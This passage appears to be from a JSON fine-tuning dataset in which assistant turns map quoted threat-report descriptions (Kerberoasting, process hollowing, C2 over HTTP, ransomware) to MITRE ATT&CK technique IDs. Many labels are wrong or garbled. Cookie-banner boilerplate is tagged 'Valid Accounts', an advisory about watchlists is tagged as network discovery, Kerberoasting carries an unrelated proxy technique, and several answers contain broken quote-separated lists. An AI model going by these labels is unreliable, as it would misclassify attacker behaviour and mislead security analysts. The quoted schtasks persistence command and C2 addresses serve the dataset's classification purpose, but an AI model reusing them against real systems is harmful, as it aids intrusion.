                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Russian state-sponsored APT actors have performed “Kerberoasting,” whereby they obtained the Ticket Granting Service (TGS) Tickets for Active Directory Service Principal Names (SPN) for offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy', 'T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM has used a tool to capture the username on a compromised host in order to register it with C2."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  component KillDisk is capable of deleting Windows Event Logs."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ixeshe uses custom Base64 encoding schemes to obfuscate command and control traffic in the message body of HTTP requests."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script is executed by the scheduled task used to maintain persistence, with its main goal being"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The loaded assembly, obfuscated with an Agile.NET obfuscator, hollows a legitimate MSBuild.exe process and replaces it with its payload: the hex-encoded Panda Stealer binary from another paste.ee URL."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pass Logger -&gt; a credential stealer, used for stealing credentials stored in the Chrome, Firefox and Opera browsers"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OwaAuth web shell PDB string"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avenger has the ability to inject shellcode into svchost.exe."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "installer searches the Registry and system to see if specific antivirus tools are installed on the system."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VERMIN collects the OS name, machine name, and architecture information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After execution of every task, the malware sleeps for one minute before executing the next task"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. This is beneficial for the website, in order to make valid reports on the use of their website.Expiry: PersistentType: HTMLrc::cThis cookie is used to distinguish between humans and bots. Expiry: SessionType: HTMLKaspersky Lab2Learn more about this providertest [x2]Used to detect if the visitor has accepted the marketing category in the cookie banner. Expiry: SessionType: HTTPMarketo2Learn more about this provider__cf_bmThis cookie is used to distinguish between humans and bots. Expiry: 2 yearsType: HTTP25 Marketing cookies are used to track visitors across websites. This can be used for marketing purposes. This is used in context with the email marketing service Marketo.com, which allows the website to target visitors via email"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can exploit vulnerabilities such as MS16-032 and MS16-135."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All further information sent to the C&amp;C is encrypted with a public key framework, making decryption impossible. The commands from the C&amp;C are encrypted in a simpler manner and can be decrypted if intercepted because the secret key is hardcoded in the malware"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuietSieve can identify and search removable drives for specific file name extensions."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil sends the encrypted stat data containing the host profile and malware information to the C2 URL via the HTTP POST method. Detection of the associated network traffic is challenging because REvil uses the HTTPS protocol, which encrypts the network communication. Finally, REvil terminates execution"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the exfiltration process, the malware Base64-encodes the encrypted data and sends it to its control server using an HTTP POST request to the URL:  http://ink[dot]inkboom.co.kr/host/img/jpg/post.php  HTTP data/parameters used in the request include:  Content-Type: multipart/form-data; boundary=—-WebKitFormBoundar ywhpFxMBe19cSjFnG <followed by base64 encoded & encrypted system info> User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322) Accept-Language: en-us HTTP Version: HTTP/1.0    The malware can also download and execute additional components served to it by the control server"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1048 - Exfiltration Over Alternative Protocol', 'T1132 - Data Encoding', 'T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The .zip archive attached to the email contains a Windows shortcut (.lnk) file with the Microsoft Internet Explorer logo"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware has used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a module that captures screenshots of the victim's desktop."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KEYMARBLE has a command to search for files on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DnsSystem can exfiltrate collected data to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After loading its configuration data, GoldMax checks the current date-time value of the compromised system against the activation date from the configuration data"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery', 'T1497.003 - Time Based Evasion', 'T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT has an audio capture and eavesdropping module."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the user clicks on the fake Adobe Flash Player installer, it will extract/create the following malicious payload into the Startup directory to maintain its persistence:"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The main idea here is that if you create a LNK to an executable or command, then use the ShowGroup method, the program will be executed. This is an undocumented behavior in Microsoft Windows"
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie uses Rundll32 to load a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has used crypto key information stored in the Registry to decrypt Tor clients dropped to disk."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkVishnya used ports 5190 and 7900 for shellcode listeners, and 4444, 4445, 31337 for shellcode C2."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The decoy file, doc.rtf, contains an OLE object that uses Equation Editor to drop the embedded shellcode in %TEMP%"
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some variants of  achieve persistence by registering the payload as a Shell Icon Overlay handler COM object."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indrik Spider used PsExec to leverage Windows Defender to disable scanning of all downloaded files and to restrict real-time monitoring."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla has routines for exfiltration over SMTP, FTP, and HTTP."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Dust Storm, the threat actors encoded some payloads with a single-byte XOR, both skipping the key itself and zeroing in an attempt to avoid exposing the key; other payloads were Base64-encoded."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA has used HTTP and HTTPS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT has modified the Windows firewall to allow itself to communicate through the firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When executed, the malware first establishes a SOCKS5 connection to 192.157.198.103 using TCP port 1913. The malware sends the SOCKS5 connection request \"05 01 00\" and verifies the server response starts with \"05 00\". The malware then requests a connection to 192.184.60.229 on TCP port 81 using the command \"05 01 00 01 c0 b8 3c e5 00 51\" and verifies that the first two bytes from the server are \"05 00\" (c0 b8 3c e5 is the IP address and 00 51 is the port in network byte order"
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DHS and FBI recommend that network administrators review the IP addresses, file hashes, network signatures, and YARA rules provided, and add the IPs to their watchlist to determine whether malicious activity has been observed within their organization.When reviewing network perimeter logs for the IP addresses, organizations may find numerous instances of these IP addresses attempting to connect to their systems"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole determines a working directory where it stores all the gathered data about the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used malware to check running processes against a hard-coded list of security tools often used by malware researchers."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap has encrypted it's main payload using 3DES."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Helminth can use HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors used ProcDump to dump credentials from memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used macros to execute PowerShell scripts to download malware on victim's machines. It has also used PowerShell to execute commands and move laterally through a victim network."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware xxmm contains a UAC bypass tool for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak may use netsh to add local firewall rule exceptions."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has conducted widespread scanning to identify public-facing systems vulnerable to Log4j (CVE-2021-44228)."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A JHUHUGIT variant gathers network interface card information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The use of large size files to avoid detection by security solutions with hardcoded size limits for ‘efficiency’. - A fishing-with-dynamite approach to collecting initial access to victims with low-cost tooling"
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "build_downer has the ability to download files from C2 to the infected host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes can capture screenshots of the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Note: aswrundll.exe is very similar to Microsoft’s own rundll32.exe - it allows you to execute DLLs by calling their exported functions"
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mimikatz to obtain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adds persistence on the system by creating a shortcut in the user’s Startup folder with the correct cmdline arguments"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windshift has used Visual Basic 6 (VB6) payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FatDuke can be controlled via a custom C2 protocol over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used  svchost.exe and Net to execute a system service installed to launch a Cobalt Strike BEACON loader."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several of the tools are freely-available Windows utilities, such as Amplia Security’s Windows Credential Editor. We also found a nearly complete set of the Microsoft SysInternals  PsTools package, a copy of NLBrute (which attempts to brute-force passwords), installers for the commercial TeamViewer and AnyDesk remote support tools, and a number of utilities created by endpoint security vendors that are designed to remove their (and other companies’) endpoint security and antivirus tools from a computer."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kinsing has used ps to list processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of the documents spreads what analysts are calling SQLRat, previously unseen malware that drops files and executes SQL scripts on the host system. The use of SQL scripts is ingenious in that they don’t leave artifacts behind the way traditional malware does. Once they are deleted by the attackers’ code, there is nothing left to be forensically recovered. This technique has not been observed in previous campaigns associated with FIN7"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RAR Creates RAR files per logical drive containing data with timestamps for the past 7 days, then uploads RAR to the C2 server using a POST command at the path “/FeedBack.php”"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel', 'T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore changes the permissions of a payload using the command \"chmod -R 755\"."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca used the command \"schtasks /Create /SC ONLOgon /TN WindowsUpdateCheck /TR “[file path]” /ru system\" for persistence."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil has the ability to identify specific files and directories that are not to be encrypted."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The encrypted file names are appended with a string of random characters as the new extension. For example, it renames a file named “My_files.zip” to “My_files.zip.IAsnM”, “My_files2.zip” to “My_files2.zip.WZlF” and so on. Also, the threat actor creates the “RECOVER-FILES.txt” with ransom note in all folders that contain encrypted files, as shown in the figure below"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WannaCry encrypts user files and demands that a ransom be paid in Bitcoin to decrypt those files."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor has opened the registry and performed query searches."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StoneDrill has several VBS scripts used throughout the malware's lifecycle."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Helminth executable is able to communicate with its C2 server via HTTP and via DNS queries in very similar ways to the Helminth script variant. In fact, the DNS beacons follow the same structure and sequence as the script variant of Helminth discussed in the previous section"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
